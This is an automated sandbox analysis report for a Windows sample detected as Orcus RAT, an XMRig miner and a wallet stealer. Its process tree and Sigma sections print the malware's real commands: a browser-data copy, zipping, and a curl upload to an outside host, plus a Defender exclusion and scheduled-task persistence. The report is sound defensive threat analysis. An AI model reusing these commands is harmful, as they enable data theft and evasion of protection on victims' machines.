Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
File.exe

Overview

General Information

Sample name:File.exe
Analysis ID:1567582
MD5:5eecc13df41c8e6967f8a3ecb1d0cda9
SHA1:8ac9ce30344f976a09da51da509dee5d2b0e8723
SHA256:6b8848b38b3e239a0df83efc456ad22bf5e59e7145b59d1f8e154881ebb9f8e3
Tags:exeuser-pr0xylife
Infos:

Detection

Orcus, Xmrig
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Search for Antivirus process
Yara detected AntiVM3
Yara detected Orcus RAT
Yara detected Xmrig cryptocurrency miner
.NET source code contains potential unpacker
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Creates multiple autostart registry keys
Drops PE files with a suspicious file extension
Found many strings related to Crypto-Wallets (likely being stolen)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
Machine Learning detection for dropped file
Protects its processes via BreakOnTermination flag
Reads the Security eventlog
Reads the System eventlog
Sample is not signed and drops a device driver
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: System File Execution Location Anomaly
Sigma detected: WScript or CScript Dropper
Suspicious powershell command line found
Tries to steal Crypto Currency Wallets
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
Yara detected Costura Assembly Loader
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Creates driver files
Creates files inside the system directory
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
OS version to string mapping found (often used in BOTs)
PE file contains sections with non-standard names
PE file does not import any functions
Potential key logger detected (key state polling based)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet
Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
Sigma detected: Potential Browser Data Stealing
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Powershell Defender Exclusion
Sigma detected: SCR File Write Event
Sigma detected: Suspicious Add Scheduled Task Parent
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: Suspicious Screensaver Binary File Creation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: Use Short Name Path in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Process Tree

  • System is w10x64
  • File.exe (PID: 4296 cmdline: "C:\Users\user\Desktop\File.exe" MD5: 5EECC13DF41C8E6967F8A3ECB1D0CDA9)
    • cmd.exe (PID: 5200 cmdline: "C:\Windows\System32\cmd.exe" /c copy Audit Audit.cmd && Audit.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 3820 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • tasklist.exe (PID: 3024 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 6368 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • tasklist.exe (PID: 6240 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 3644 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • cmd.exe (PID: 1104 cmdline: cmd /c md 491505 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • cmd.exe (PID: 1836 cmdline: cmd /c copy /b ..\Dentists + ..\Flavor + ..\Disturbed + ..\Artistic + ..\Justice + ..\Proceeds + ..\Zip + ..\Soundtrack + ..\Revenue B MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Dr.com (PID: 1240 cmdline: Dr.com B MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)
        • cmd.exe (PID: 7068 cmdline: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 2628 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • schtasks.exe (PID: 4048 cmdline: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)
        • schtasks.exe (PID: 3876 cmdline: schtasks.exe /create /tn "ApolloPro" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc onlogon /F /RL HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)
          • conhost.exe (PID: 5848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • RegAsm.exe (PID: 5892 cmdline: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13)
          • cmd.exe (PID: 3824 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 5964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • xcopy.exe (PID: 3908 cmdline: xcopy /E /I "C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\*" "C:\Users\user~1\AppData\Local\Temp\ArchiveContents\Edge\" MD5: 7E9B7CE496D09F70C072930940F9F02C)
            • cmd.exe (PID: 1664 cmdline: C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • curl.exe (PID: 5732 cmdline: curl -s https://api.ipify.org MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)
            • powershell.exe (PID: 5360 cmdline: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • cmd.exe (PID: 6124 cmdline: C:\Windows\system32\cmd.exe /c curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • curl.exe (PID: 4560 cmdline: curl -F "file=@C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip" "https://cdn-downloads-now.xyz/files/upload.php" MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)
          • COMSurrogate.exe (PID: 5980 cmdline: "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe" MD5: 77334F046A50530CDC6E585E59165264)
          • cmd.exe (PID: 4640 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 5960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • net.exe (PID: 60 cmdline: net session MD5: 31890A7DE89936F922D44D677F681A7F)
              • net1.exe (PID: 4104 cmdline: C:\Windows\system32\net1 session MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)
            • powershell.exe (PID: 644 cmdline: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
          • cmd.exe (PID: 4208 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\runsteal.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 6624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • smartscreen.exe (PID: 6560 cmdline: "C:\Users\user\AppData\Local\Temp\smartscreen.exe" MD5: 1FED66D1F6B85BDA20FE0403CA01C9BD)
      • choice.exe (PID: 5800 cmdline: choice /d y /t 15 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
  • wscript.exe (PID: 6912 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • ApolloPro.scr (PID: 3024 cmdline: "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.scr" "C:\Users\user\AppData\Local\CreativePixel Tech\E" MD5: 6EE7DDEBFF0A2B78C7AC30F6E00D1D11)
  • COMSurrogate.exe (PID: 896 cmdline: "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe" MD5: 77334F046A50530CDC6E585E59165264)
  • smartscreen.exe (PID: 6504 cmdline: "C:\Users\user\AppData\Local\Temp\smartscreen.exe" MD5: 1FED66D1F6B85BDA20FE0403CA01C9BD)
  • COMSurrogate.exe (PID: 2512 cmdline: "C:\Users\user\AppData\Local\Temp\COMSurrogate.exe" MD5: 77334F046A50530CDC6E585E59165264)
  • smartscreen.exe (PID: 4896 cmdline: "C:\Users\user\AppData\Local\Temp\smartscreen.exe" MD5: 1FED66D1F6B85BDA20FE0403CA01C9BD)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
Orcus RATOrcus has been advertised as a Remote Administration Tool (RAT) since early 2016. It has all the features that would be expected from a RAT and probably more. The long list of the commands is documented on their website. But what separates Orcus from the others is its capability to load custom plugins developed by users, as well as plugins that are readily available from the Orcus repository. In addition to that, users can also execute C# and VB.net code on the remote machine in real-time.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.orcus_rat
NameDescriptionAttributionBlogpost URLsLink
xmrigAccording to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: OrcusRAT

{"AutostartBuilderProperty": {"AutostartMethod": "Disable", "TaskSchedulerTaskName": "Orcus", "TaskHighestPrivileges": "true", "RegistryHiddenStart": "true", "RegistryKeyName": "Orcus", "TryAllAutostartMethodsOnFail": "true"}, "ChangeAssemblyInformationBuilderProperty": {"ChangeAssemblyInformation": "false", "AssemblyTitle": null, "AssemblyDescription": null, "AssemblyCompanyName": null, "AssemblyProductName": null, "AssemblyCopyright": null, "AssemblyTrademarks": null, "AssemblyProductVersion": "1.0.0.0", "AssemblyFileVersion": "1.0.0.0"}, "ChangeCreationDateBuilderProperty": {"IsEnabled": "false", "NewCreationDate": "2024-11-27T14:29:12"}, "ChangeIconBuilderProperty": {"ChangeIcon": "false", "IconPath": null}, "ClientTagBuilderProperty": {"ClientTag": null}, "ConnectionBuilderProperty": {"IpAddresses": [{"Ip": "45.74.38.211", "Port": "4782"}]}, "DataFolderBuilderProperty": {"Path": "%appdata%\\Orcus"}, "DefaultPrivilegesBuilderProperty": {"RequireAdministratorRights": "false"}, "DisableInstallationPromptBuilderProperty": {"IsDisabled": "true"}, "FrameworkVersionBuilderProperty": {"FrameworkVersion": "NET45"}, "HideFileBuilderProperty": {"HideFile": "false"}, "InstallationLocationBuilderProperty": {"Path": "%programfiles%\\Orcus\\Orcus.exe"}, "InstallBuilderProperty": {"Install": "false"}, "KeyloggerBuilderProperty": {"IsEnabled": "false"}, "MutexBuilderProperty": {"Mutex": "7a9c0f279c464958aebbd585f20f1cf2"}, "ProxyBuilderProperty": {"ProxyOption": "None", "ProxyAddress": null, "ProxyPort": "1080", "ProxyType": "2"}, "ReconnectDelayProperty": {"Delay": "10000"}, "RequireAdministratorPrivilegesInstallerBuilderProperty": {"RequireAdministratorPrivileges": "true"}, "RespawnTaskBuilderProperty": {"IsEnabled": "false", "TaskName": "Orcus Respawner"}, "ServiceBuilderProperty": {"Install": "false"}, "SetRunProgramAsAdminFlagBuilderProperty": {"SetFlag": "false"}, "WatchdogBuilderProperty": {"IsEnabled": "false", "Name": "OrcusWatchdog.exe", "WatchdogLocation": "AppData", "PreventFileDeletion": "false"}}

Yara Signatures

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\user\AppData\Local\Temp\walletstealer.batJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
    C:\Users\user\AppData\Local\Temp\COMSurrogate.exeJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
      C:\Users\user\AppData\Local\Temp\smartscreen.exeJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
        C:\Users\user\AppData\Local\asm\mi.exeJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
          C:\Users\user\AppData\Local\asm\mi.exeMacOS_Cryptominer_Xmrig_241780a1unknownunknown
          • 0x586958:$a1: mining.set_target
          • 0x581428:$a2: XMRIG_HOSTNAME
          • 0x583500:$a3: Usage: xmrig [OPTIONS]
          • 0x581400:$a4: XMRIG_VERSION
          Click to see the 2 entries

          Memory Dumps

          SourceRuleDescriptionAuthorStrings
          0000002C.00000002.3016304287.000000000378B000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
            00000026.00000002.2986439699.0000000002FF0000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_CredentialStealerYara detected Credential StealerJoe Security
              00000020.00000002.3721421332.0000021200067000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                00000028.00000000.2985657308.0000015A6F7E2000.00000002.00000001.01000000.00000011.sdmpJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                  00000020.00000002.3740194949.0000021210C89000.00000004.00000800.00020000.00000000.sdmpJoeSecurity_XmrigYara detected Xmrig cryptocurrency minerJoe Security
                    Click to see the 36 entries

                    Unpacked PEs

                    SourceRuleDescriptionAuthorStrings
                    29.2.RegAsm.exe.46a78ea.3.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                      32.0.COMSurrogate.exe.21271f60000.0.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                        40.0.smartscreen.exe.15a6f7e0000.0.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                          29.2.RegAsm.exe.46d0948.2.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                            29.2.RegAsm.exe.46d0948.2.raw.unpackJoeSecurity_CosturaAssemblyLoaderYara detected Costura Assembly LoaderJoe Security
                              Click to see the 14 entries

                              Sigma Signatures

                              System Summary

                              barindex
                              Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
                              Source: Process startedAuthor: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, CommandLine: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ParentCommandLine: Dr.com B, ParentImage: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ParentProcessId: 1240, ParentProcessName: Dr.com, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ProcessId: 5892, ProcessName: RegAsm.exe
                              Sigma detected: Files With System Process Name In Unsuspected Locations
                              Source: File createdAuthor: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ProcessId: 5892, TargetFilename: C:\Users\user\AppData\Local\Temp\smartscreen.exe
                              Sigma detected: Invoke-Obfuscation CLIP+ Launcher
                              Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Dr.com B, ParentImage: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ParentProcessId: 1240, ParentProcessName: Dr.com, ProcessCommandLine: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ProcessId: 7068, ProcessName: cmd.exe
                              Sigma detected: Invoke-Obfuscation VAR+ Launcher
                              Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: Dr.com B, ParentImage: C:\Users\user\AppData\Local\Temp\491505\Dr.com, ParentProcessId: 1240, ParentProcessName: Dr.com, ProcessCommandLine: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ProcessId: 7068, ProcessName: cmd.exe
                              Sigma detected: New RUN Key Pointing to Suspicious Folder
                              Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, ProcessId: 5980, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate
                              Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", CommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\ex.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 4640, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\asm'", ProcessId: 644, ProcessName: powershell.exe
                              Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
                              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "West" /tr "wscript //B 'C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js'" /sc daily /mo 1 /ri 3 /du 23:57 /F /RL HIGHEST, ProcessId: 4048, ProcessName: schtasks.exe
                              Sigma detected: Suspicious Script Execution From Temp Folder
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'", CommandLine: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3824, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'", ProcessId: 5360, ProcessName: powershell.exe
                              Sigma detected: System File Execution Location Anomaly
                              Source: Process startedAuthor: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Users\user\AppData\Local\Temp\smartscreen.exe" , CommandLine: "C:\Users\user\AppData\Local\Temp\smartscreen.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\smartscreen.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\smartscreen.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\smartscreen.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ParentImage: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ParentProcessId: 5892, ParentProcessName: RegAsm.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\smartscreen.exe" , ProcessId: 6560, ProcessName: smartscreen.exe
                              Sigma detected: WScript or CScript Dropper
                              Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 932, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\CreativePixel Tech\ApolloPro.js", ProcessId: 6912, ProcessName: wscript.exe
                              Sigma detected: CurrentVersion Autorun Keys Modification
                              Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\COMSurrogate.exe, ProcessId: 5980, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\COM Surrogate
                              Sigma detected: Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet
                              Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems), frack113: Data: Command: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'", CommandLine: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\walletstealer.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3824, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -command "Compress-Archive -Path 'C:\Users\user~1\AppData\Local\Temp\ArchiveContents\*' -DestinationPath 'C:\Users\user~1\AppData\Local\Temp\N_user_8.46.123.228.zip'", ProcessId: 5360, ProcessName: powershell.exe
                              Sigma detected: PSScriptPolicyTest Creation By Uncommon Process
                              Source: File createdAuthor: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\491505\RegAsm.exe, ProcessId: 5892, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5vx3artn.vrw.ps1
                              Sigma detected: Potential Browser Data Stealing
